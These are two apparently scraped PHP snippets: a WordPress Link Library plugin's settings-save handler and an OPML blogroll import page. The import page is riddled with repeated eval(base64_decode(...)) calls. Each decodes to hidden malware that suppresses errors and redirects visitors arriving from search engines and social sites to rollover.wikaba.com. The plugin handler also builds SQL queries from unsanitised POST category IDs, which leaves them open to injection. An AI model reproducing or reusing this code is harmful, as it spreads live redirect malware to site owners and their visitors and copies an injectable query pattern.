                 header('Content-Type: application/octet-stream');
                 header('Content-Disposition: attachment; filename=' . basename($myFile));
                 header('Expires: 0');
                 header('Cache-Control: must-revalidate');
                 header('Pragma: public');
                 header('Content-Length: ' . filesize($myFile));
                 readfile($myFile);
                 exit;
             }
         } else {
             $messages[] = '6';
         }
     } elseif (isset($_POST['importsettings'])) {
         global $wpdb;
         if ($_FILES['settingsfile']['tmp_name'] != "") {
             $handle = fopen($_FILES['settingsfile']['tmp_name'], "r");
             $row = 1;
             $optionnames = "";
             $options = "";
             while (($data = fgetcsv($handle, 5000, ",")) !== false) {
                 if ($row == 1) {
                     $optionnames = $data;
                     $row++;
                 } else {
                     if ($row == 2) {
                         for ($counter = 0; $counter <= count($data) - 1; $counter++) {
                             $options[$optionnames[$counter]] = $data[$counter];
                         }
                         $row++;
                     }
                 }
             }
             if ($options != "") {
                 $settingsname = 'LinkLibraryPP' . $_POST['settingsetid'];
                 update_option($settingsname, $options);
                 $messages[] = '7';
             }
             fclose($handle);
         } else {
             $messages[] = '8';
         }
     } else {
         $settingsetid = $_POST['settingsetid'];
         $settings = $_POST['settingsetid'];
         $settingsname = 'LinkLibraryPP' . $settingsetid;
         $options = get_option($settingsname);
         $genoptions = get_option('LinkLibraryGeneral');
         foreach (array('order', 'table_width', 'num_columns', 'position', 'beforecatlist1', 'beforecatlist2', 'beforecatlist3', 'catnameoutput', 'linkaddfrequency', 'defaultsinglecat', 'rsspreviewcount', 'rssfeedinlinecount', 'linksperpage', 'catdescpos', 'catlistdescpos', 'rsspreviewwidth', 'rsspreviewheight', 'numberofrssitems', 'displayweblink', 'sourceweblink', 'showtelephone', 'sourcetelephone', 'showemail', 'sourceimage', 'sourcename', 'popup_width', 'popup_height') as $option_name) {
             if (isset($_POST[$option_name])) {
                 $options[$option_name] = str_replace("\"", "'", strtolower($_POST[$option_name]));
             }
         }
         foreach (array('categorylist', 'excludecategorylist') as $option_name) {
             if (isset($_POST[$option_name])) {
                 if ($genoptions['catselectmethod'] == 'commalist' || empty($genoptions['catselectmethod'])) {
                     $options[$option_name] = str_replace("\"", "'", strtolower($_POST[$option_name]));
                 } else {
                     if ($genoptions['catselectmethod'] == 'multiselectlist') {
                         $options[$option_name] = implode(',', $_POST[$option_name]);
                     }
                 }
             } else {
                 $options[$option_name] = '';
             }
         }
         foreach (array('linkheader', 'descheader', 'notesheader', 'linktarget', 'settingssetname', 'loadingicon', 'direction', 'linkdirection', 'linkorder', 'addnewlinkmsg', 'linknamelabel', 'linkaddrlabel', 'linkrsslabel', 'linkcatlabel', 'linkdesclabel', 'linknoteslabel', 'addlinkbtnlabel', 'newlinkmsg', 'moderatemsg', 'imagepos', 'imageclass', 'rssfeedtitle', 'rssfeeddescription', 'showonecatmode', 'linkcustomcatlabel', 'linkcustomcatlistentry', 'searchlabel', 'dragndroporder', 'cattargetaddress', 'beforeweblink', 'afterweblink', 'weblinklabel', 'beforetelephone', 'aftertelephone', 'telephonelabel', 'beforeemail', 'afteremail', 'emaillabel', 'beforelinkhits', 'afterlinkhits', 'linkreciprocallabel', 'linksecondurllabel', 'linktelephonelabel', 'linkemaillabel', 'emailcommand', 'rewritepage', 'maxlinks', 'beforedate', 'afterdate', 'beforeimage', 'afterimage', 'beforerss', 'afterrss', 'beforenote', 'afternote', 'beforelink', 'afterlink', 'beforeitem', 'afteritem', 'beforedesc', 'afterdesc', 'addbeforelink', 'addafterlink', 'beforelinkrating', 'afterlinkrating', 'linksubmitternamelabel', 'linksubmitteremaillabel', 'linksubmittercommentlabel', 'addlinkcatlistoverride', 'beforelargedescription', 'afterlargedescription', 'customcaptchaquestion', 'customcaptchaanswer', 'rssfeedaddress', 'linklargedesclabel', 'flatlist', 'searchresultsaddress', 'link_popup_text', 'linktitlecontent', 'paginationposition', 'showaddlinkrss', 'showaddlinkdesc', 'showaddlinkcat', 'showaddlinknotes', 'addlinkcustomcat', 'showaddlinkreciprocal', 'showaddlinksecondurl', 'showaddlinktelephone', 'showaddlinkemail', 'showcustomcaptcha', 'showlinksubmittername', 'showaddlinksubmitteremail', 'showlinksubmittercomment', 'showuserlargedescription', 'cat_letter_filter', 'beforefirstlink', 'afterlastlink', 'searchfieldtext', 'catfilterlabel', 'searchnoresultstext', 'addlinkdefaultcat') as $option_name) {
             if (isset($_POST[$option_name])) {
                 $options[$option_name] = str_replace("\"", "'", $_POST[$option_name]);
             }
         }
         foreach (array('hide_if_empty', 'catanchor', 'showdescription', 'shownotes', 'showrating', 'showupdated', 'show_images', 'use_html_tags', 'show_rss', 'nofollow', 'showcolumnheaders', 'show_rss_icon', 'showcategorydescheaders', 'showcategorydesclinks', 'showadmineditlinks', 'showonecatonly', 'rsspreview', 'rssfeedinline', 'rssfeedinlinecontent', 'pagination', 'hidecategorynames', 'showinvisible', 'showdate', 'showuserlinks', 'emailnewlink', 'usethumbshotsforimages', 'uselocalimagesoverthumbshots', 'addlinkreqlogin', 'showcatlinkcount', 'publishrssfeed', 'showname', 'enablerewrite', 'storelinksubmitter', 'showlinkhits', 'showcaptcha', 'showlargedescription', 'addlinknoaddress', 'featuredfirst', 'usetextareaforusersubmitnotes', 'showcatonsearchresults', 'shownameifnoimage', 'enable_link_popup', 'nocatonstartup', 'showlinksonclick', 'showinvisibleadmin', 'combineresults', 'showifreciprocalvalid', 'cat_letter_filter_autoselect', 'cat_letter_filter_showalloption', 'emailsubmitter', 'addlinkakismet') as $option_name) {
             if (isset($_POST[$option_name])) {
                 $options[$option_name] = true;
             } else {
                 $options[$option_name] = false;
             }
         }
         foreach (array('displayastable', 'divorheader') as $option_name) {
             if ($_POST[$option_name] == 'true') {
                 $options[$option_name] = true;
             } elseif ($_POST[$option_name] == 'false') {
                 $options[$option_name] = false;
             }
         }
         foreach (array('catlistwrappers') as $option_name) {
             if (isset($_POST[$option_name])) {
                 $options[$option_name] = (int) $_POST[$option_name];
             }
         }
         update_option($settingsname, $options);
         $messages[] = "1";
         global $wpdb;
         if ($options['categorylist'] != '') {
             $categoryids = explode(',', $options['categorylist']);
             foreach ($categoryids as $categoryid) {
                 $linkcatquery = "SELECT distinct t.name, t.term_id, t.slug as category_nicename, tt.description as category_description ";
                 $linkcatquery .= "FROM " . $this->db_prefix() . "terms t, " . $this->db_prefix() . "term_taxonomy tt ";
                 if (isset($_POST['hide_if_empty'])) {
                     $linkcatquery .= ", " . $this->db_prefix() . "term_relationships tr, " . $this->db_prefix() . "links l ";
                 }
                 $linkcatquery .= "WHERE t.term_id = tt.term_id AND tt.taxonomy = 'link_category'";
                 $linkcatquery .= " AND t.term_id = " . $categoryid;
                 $catnames = $wpdb->get_results($linkcatquery);
                 if (!$catnames) {
                     $messages[] = '2';
                 }
             }
         }
         if ($options['excludecategorylist'] != '') {
             $categoryids = explode(',', $options['excludecategorylist']);
             foreach ($categoryids as $categoryid) {
                 $linkcatquery = "SELECT distinct t.name, t.term_id, t.slug as category_nicename, tt.description as category_description ";
                 $linkcatquery .= "FROM " . $this->db_prefix() . "terms t, " . $this->db_prefix() . "term_taxonomy tt ";
                 if (isset($_POST['hide_if_empty'])) {
                     $linkcatquery .= ", " . $this->db_prefix() . "term_relationships tr, " . $this->db_prefix() . "links l ";
                 }
                 $linkcatquery .= "WHERE t.term_id = tt.term_id AND tt.taxonomy = 'link_category'";
                 $linkcatquery .= " AND t.term_id = " . $categoryid;
                 $catnames = $wpdb->get_results($linkcatquery);
                 if (!$catnames) {
                     $messages[] = '3';
                 }
             }
         }
         global $wp_rewrite;
         $wp_rewrite->flush_rules(false);
     }
     //lets redirect the post request into get request (you may add additional params at the url, if you need to show save results
     $messagelist = implode(",", $messages);
     $cleanredirecturl = $this->remove_querystring_var($_POST['_wp_http_referer'], 'messages');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'currenttab');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'importrowscount');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'successimportcount');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'copy');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'reset');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'resettable');
     $cleanredirecturl = $this->remove_querystring_var($cleanredirecturl, 'source');
     $redirecturl = $cleanredirecturl;
     if (!empty($messages)) {
         $redirecturl = $cleanredirecturl . "&messages=" . $messagelist;
     }
     if ($row != 0) {
         $redirecturl .= "&importrowscount=" . $row;
     }
     if ($successfulimport != 0) {
         $redirecturl .= "&successimportcount=" . $successfulimport;
     }
     if ($successfulupdate != 0) {
         $redirecturl .= "&successupdatecount=" . $successfulupdate;
     }
     if (isset($_POST['currenttab'])) {
         $redirecturl .= "&currenttab=" . $_POST['currenttab'];
     }
     wp_redirect($redirecturl);
 }
Beispiel #23
0
    function dispatch()
    {
        global $wpdb, $user_ID;
        $step = $_POST['step'];
        if (!$step) {
            $step = 0;
        }
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        switch ($step) {
            case 0:
                include_once 'admin-header.php';
                if (!current_user_can('manage_links')) {
                    wp_die(__('Cheatin&#8217; uh?'));
                }
                $opmltype = 'blogrolling';
                // default.
                ?>

<div class="wrap">
<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                screen_icon();
                ?>
<h2><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('Import your blogroll from another system');
                ?>
 </h2>
<form enctype="multipart/form-data" action="admin.php?import=opml" method="post" name="blogroll">
<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                wp_nonce_field('import-bookmarks');
                ?>

<p><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('If a program or website you use allows you to export your links or subscriptions as OPML you may import them here.');
                ?>
</p>
<div style="width: 70%; margin: auto; height: 8em;">
<input type="hidden" name="step" value="1" />
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
<div style="width: 48%;" class="alignleft">
<h3><label for="opml_url"><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('Specify an OPML URL:');
                ?>
</label></h3>
<input type="text" name="opml_url" id="opml_url" size="50" class="code" style="width: 90%;" value="http://" />
</div>

<div style="width: 48%;" class="alignleft">
<h3><label for="userfile"><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('Or choose from your local disk:');
                ?>
</label></h3>
<input id="userfile" name="userfile" type="file" size="30" />
</div>

</div>

<p style="clear: both; margin-top: 1em;"><label for="cat_id"><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('Now select a category you want to put these links in.');
                ?>
</label><br />
<?php 
